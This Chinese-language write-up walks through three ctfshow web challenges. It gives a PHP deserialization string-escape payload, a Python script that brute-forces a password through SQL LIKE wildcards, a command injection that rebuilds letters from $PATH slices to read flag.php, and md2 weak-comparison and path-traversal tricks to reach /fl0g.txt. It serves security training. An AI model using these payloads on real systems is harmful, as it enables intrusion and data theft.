
一、web1_此夜圆字符串逃逸index.php源码?php error_reporting(0); class a { public $uname; public $password; public function __construct($uname,$password) { $this-uname$uname; $this-password$password; } public function __wakeup() { if($this-passwordyu22x) { include(flag.php); echo $flag; } else { echo wrong password; } } } function filter($string){ return str_replace(Firebasky,Firebaskyup,$string); } $uname$_GET[1]; $password1; $serfilter(serialize(new a($uname,$password))); $testunserialize($ser); ?uname通过1传参password1 ,序列化后filter字符串膨胀再反序列化(触发wakeup方法)如果password yu22x输出flag思路通过字符串膨胀吃掉第二个参数再创建一个新参数passwordyu22x经过测试一个Firebasky膨胀两个字符要吃掉的部分30个字符;s:8:password;s:1:1;}即需要15个Firebaskypyload: 1FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky;s:8:password;s:5:yu22x;}字符串膨胀后吃掉第二个参数让新参数passwordyu22x然后输出flagflag:ctfshow{2357abbf-7612-46b9-b648-c948fe08311f}常见php反序列化魔数方法PHP魔术方法总览__construct() 当创建对象时触发一般用于初始化对象对变量赋初值__sleep() 使用serialize()时自动触发__wakeup() 使用unserialize()时自动触发__destruct() 当一个对象被销毁时触发__toString() 当一个类被当成字符串使用时触发 stristr()和echo可以触发__invoke() 当尝试以调用函数的方式调用一个对象时触发__call() 在对象上下文中调用不可访问的方法时触发__callStatic() 在静态上下文中调用不可访问的方法时触发__get() 用于从不可访问的属性读取数据__set() 用于将数据写入不可访问的属性__isset() 在不可访问的属性上调用isset()或empty()触发__unset() 在不可访问的属性上使用unset()时触发二、web3_莫负婵娟参考大佬文章web3_莫负婵娟 - 微草wd - 博客园进入页面后F12发现泄露的信息确定传参usernameyu22x,passwordxxx然后登陆系统知识点一sql通配符% 表示零个或多个字符的任意字符串_下划线表i示任何单个字符先测试密码长度经过测试密码为32位猜测密码由数字大小写字母组成python代码爆破密码代码import requests a0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ url http://15ba58d4-891b-4ca7-b771-3bb8efebbfdf.challenge.ctf.show:8080/login.php pwd for i in range(32): print(i str(i1),end\t) for j in a: password pwd j (31 - i) * _ data {username:yu22x,password:password} r requests.post(url,datadata) if wrong not in r.text: pwd j print(pwd) break密码67815b0c009ee970fe4014abaa3Fa6A0进入系统这里第一想法就是管道符(;)并行拿flag 如127.0.0.1;nl flag.php这里大佬说小写字母被过滤了利用环境变量切片绕过知识点二环境变量那么思路就清晰了利用环境变量构造管道符恶意代码拿到flagpayload127.0.0.1;${PATH:14:1}${PATH:5:1} ????.??? (是通配符标识任意字符)源代码这拿到flagflagctfshow{397df883-3f53-432f-afa3-5bc424e3f13f}三、web2_故人心给a b c url传参满足三个if判断就出书文件内容第一个ifif(is_numeric($a) and strlen($a)7 and $a!0 and $a**20)参数a要求是数据类型长度小于7a的平方等于0并且a不等于0学习大佬的知识科学计数法在1e-xxx的情况下如果指数超过161就会截断后面的内容所以让a1e-162就可以满足他的平方等于0弱比较不等于0即?a 1e-162第二个if($bhash(md2, $b)) ($chash(md2,hash(md2, $c)));b和c分别满足一次md2和两次md2后相等通过0exxxx弱比较来绕过校验在弱比较下0exxx会被当成0来比较这里题目给了robots.txt提示明显给了两个参数的一部分通过php脚本爆破出来php跑md2方便一些?php # xxxxx024452 hash(md2,$b) # xxxxxx48399 hash(md2,hash(md2,$b)) for($b0;$b99999;$b){ if(0e.$b.024452 hash(md2,0e.$b.024452 )){ echo b的值位.$b; break; } } echo br; for($c0;$c999999;$c){ if(0e.$c.48399 hash(md2,hash(md2,0e.$c.48399 ))){ echo c的值位.$c; break; } }结果b652 c6034;即?a1e-162b0e652024452c0e603448399第三个ifif(filter_var($url[1],FILTER_VALIDATE_URL)){判断是否有合法的url查看是否存在协议头后面host要有ctfshow.com即urlb://ctfshow.com/然后题目源代码提示flag in /fl0g.txt一级一级目录猜测最终在往前八层根目录下找到flagurlb://ctfshow.com/../../../../../../../../fl0g.txtflagctfshow{53c2195b-9395-405e-9364-cc0389f010ca}